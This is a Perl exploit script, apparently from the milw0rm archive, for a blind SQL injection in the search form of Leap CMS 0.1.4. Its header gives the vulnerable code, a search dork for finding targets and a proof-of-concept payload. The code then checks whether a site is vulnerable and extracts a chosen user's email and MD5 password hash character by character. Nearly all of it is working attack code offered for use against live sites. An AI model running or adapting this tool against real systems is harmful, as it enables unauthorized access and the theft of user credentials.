#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  Â¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|       	    (Search Post Form) BLIND SQL INJECTION (BSQLi) EXPLOIT	              |
#|--------------------------------------------------------------------------------------------|
#|                         	    |   Leap CMS 0.1.4    |		 	              |
#|  CMS INFORMATION:		     ---------------------				      |
#|										              |
#|-->WEB: http://leap.gowondesigns.com/				   		              |
#|-->DOWNLOAD: http://leap.gowondesigns.com/download.php?leap014.zip		              |
#|-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap	      |
#|-->CATEGORY: CMS / Lite								      |
#|-->DESCRIPTION: Leap is a single file, template independent, open-source,                   |
#| 		standards-compliant,extensible content management system for the web...	      |
#|-->RELEASED: 2009-03-13								      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3                                				      |
#|-->DORK: "Powered by Leap"								      |
#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT					      |
#|-->AFFECT VERSION: LAST = 0.1.4 (Maybe <= ?)		            			      |
#|-->Discovered Bug date: 2009-04-25							      |
#|-->Reported Bug date: 2009-04-25							      |
#|-->Fixed bug date: Not fixed								      |
#|-->Info patch (????): Not fixed							      |   
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		      |
#----------------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/leap.php
#
#
#
#function contentSearch() {
#
#	...
#
#
#if($searchterm=='') return FALSE;
#
#        ...
#	
#	if (eregi(" AND | NOT | OR ",$search,$matches)) $search=str_replace($matches,'',$search);   <-------BYPASSED (/**/)
#		
#		$keywords = explode(' ', $search); //print_r($keywords);    <---------BYPASSED (/**/)
#		
#		...
#		
#		$query = "SELECT * FROM ".db('prefix')."content WHERE published='1' AND";     <----------START QUERY
#
#		if ($keyCount > 1) {
#
#			...
#		
#		}
#		else {
#
#			$query .=" (INSTR(`title`, '$keywords[0]') > '0' || INSTR(`body`, '$keywords[0]') > '0' || ...)";}  <--------INJECTION HERE
#			$pquery=$query.';'; $query.=" ORDER BY mod_date DESC LIMIT $pg, $max;"; //echo $query;
#		
#			...
#
#		}
#
#}
#
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#SEARCH --> a')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#
#
#Return: Search for 'a'
#
#######################################################################
#######################################################################
##*******************************************************************##
## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##       GREETZ TO: JosS and all SPANISH Hack3Rs community!          ##
##*******************************************************************##
#######################################################################
#######################################################################
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Leap CMS 0.1.4 (BLIND SQL Injection) Exploit");
		system ("color 04");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	my $request = HTTP::Request -> new(POST => $_[0]);
	$request->content_type('application/x-www-form-urlencoded');
	$request->content($_[1]); 
	my $outcode= $userag->request($request)->as_string;
	return $outcode;
}
sub helper {
	print "\n\t[<-->] Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit\n";
	print "\t[<-->] USAGE MODE: [<-->]\n";
	print "\t[<-->] perl $0 [HOST] [PATH] [Search] [Id]\n";
	print "\t[<-->] [HOST]: Web.\n";
	print "\t[<-->] [PATH]: Home Path.\n";
	print "\t[<-->] [Search]: Something. Default: a (**optional)\n";
	print "\t[<-->] [id]: Id user. Default: 1 (**optional)\n";
	print "\t[<-->] Example: perl $0 'www.example.es' 'leap-CMS' 'a' '1'\n"; 
}
sub lengthuser{
#First, user length...
$exit=0;
$i=0;
	while($exit==0){
		my $searchinjected="searchterm=".$_[2]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/length(mail)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id=".$_[1].")=".$i++."#"; #injected code
		$output=&request($_[0],$searchinjected);
		if ( $output =~ (/No Results Found./))
		{
			$exit=0;
		}else{
			$exit=1;
		}
	}
#Save column length
$lengthuser=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tUser Length catched!\n";
print "\tUser Length: ".$lengthuser."\n";
print "\tBruteforcing values...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n";
return $lengthuser;
}
sub bruteforcing {
my $values="";
#Getting datas
$j=1;
	$i=46;
	while(($j<=$_[2]) && ($i<=126)){
		my $searchinjected="searchterm=".$_[4]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/ascii(substring((SELECT/*y3nh4ck3r*/".$_[3]."/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$_[1]."'),".$j.",1))=".$i."#"; #injected code
		$output=&request($_[0],$searchinjected);
		if ( $output !~ (/No Results Found./))
		{
			$values=$values.chr($i);
			$j++;
			$i=45;
		}
	if($i==57)
	{
		$i=63; #@
	}
	if($i==64)
	{
		$i=96;
	}
#new char
	$i++; 
	}
#Error
	if(($i>127) || ($j>$_[2])){
		if(!$values){
			print "\t<<<<<--------------------------------------------------------->>>>>\n";
			print "\tEXPLOIT FAILED!\n";
			print "\tFatal error: Datas doesn't find!\n";
			print "\tCause: Maybe you have to include more characters on bruteforcing...\n";
			print "\t<<<<<--------------------------------------------------------->>>>>\n";
			exit(1);
		}
	}
	
return $values;
}
#Main
&lw;
print "\t\t#######################################################\n\n";
print "\t\t#######################################################\n\n";
print "\t\t##   Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit  ##\n\n";
print "\t\t##       ++Conditions: Need magic_quotes=off         ##\n\n";
print "\t\t##                  Author: Y3nh4ck3r                ##\n\n";
print "\t\t##          Contact:y3nh4ck3r[at]gmail[dot]com       ##\n\n";
print "\t\t##                  Proud to be Spanish!             ##\n\n";
print "\t\t#######################################################\n\n";
print "\t\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
#Build the uri
my $finalhost="http://".$host."/".$path."/index.php?search";
#Check all variables needed
$numArgs = $#ARGV + 1;
	if($numArgs<=1) 
	{
		&helper;
		exit(1);	
	}
#Search parameter. It's optional. Default:a
	if(!$ARGV[2]){
		$search="a";	
	}else{
		$search=$ARGV[2];	
	}
#Id-user is optional.Default:1
	if(!$ARGV[3]){
		$idhacked="1";	
	}else{
		$idhacked=$ARGV[3];	
	}
#Testing blind sql injection
my $finalrequest = $finalhost;	
#Test blind sql injection
my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#"; #injected code
$output=&request($finalrequest, $searchinjected);
if ( $output =~ (/No Results Found./))
{   
	print "\t<<<<<--------------------------------------------------------->>>>>\n";
	print "\tThis Web is not vulnerable!\n";
	print "\t--->Maybe:\n";
	print "\t1.-Patched or gpc_magic_quotes=off\n";
	print "\t2.-Search parameter hasn't found. Try other!\n";
	print "\tEXPLOIT FAILED!\n";
	print "\t<<<<<--------------------------------------------------------->>>>>\n";
	exit(1);
}else{ 
	print "\t<<<<<--------------------------------------------------------->>>>>\n";
	print "\tWeb is vulnerable!\n";
	print "\tTested Blind SQL Injection.\n";		
	print "\tChecking id user...\n"; 
	print "\t<<<<<--------------------------------------------------------->>>>>\n";
 
}	
#Test if user exists
my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/COUNT(*)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$idhacked."')#"; #injected code
$output=&request($$finalrequest,$searchinjected);
if ( $output =~ (/No Results Found./))
{    
	print "\t<<<<<--------------------------------------------------------->>>>>\n";
	print "\tUser doesn't exists!\n";		
	print "\tEXPLOIT FAILED!\n";
	print "\t<<<<<--------------------------------------------------------->>>>>\n";
	exit(1); 
}else{ 

	print "\t<<<<<--------------------------------------------------------->>>>>\n";
	print "\tOK...The user exists!\n";		
	print "\tStarting exploit...\n"; 
	print "\t<<<<<--------------------------------------------------------->>>>>\n";
	print "\tWait several minutes...\n"; 
	print "\t<<<<<--------------------------------------------------------->>>>>\n";
}	
#Bruteforcing user...
$length_mail=&lengthuser($finalrequest,$idhacked,$search);
$email=&bruteforcing($finalrequest,$idhacked,$length_mail,'mail',$search);
if(length($email)!=$length_mail)
{
	print "\t<<<<<--------------------------------------------------------->>>>>\n";
	print "\tEXPLOIT FAILED!\n";
	print "\tFatal error: Different length email!\n";
	print "\tCause: Maybe you have to include more characters on bruteforcing...\n";
	print "\t<<<<<--------------------------------------------------------->>>>>\n";
	exit(1);
}

print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tGot user!\n";
print "\tBruteforcing password hash (md5)...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n";
#Bruteforcing password...
$passhash=&bruteforcing($finalrequest,$idhacked,32,'pwd',$search); #it isn't needed length
print "\n\t\t*************************************************\n";
print "\t\t****  EXPLOIT EXECUTED (LeapCMS 0.1.4 BSQLi) ****\n";
print "\t\t*************************************************\n\n";
print "\t\tUser-id:".$idhacked."\n";
print "\t\tE-mail:".$email."\n";
print "\t\tUser-password(hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done

# milw0rm.com [2009-04-30]
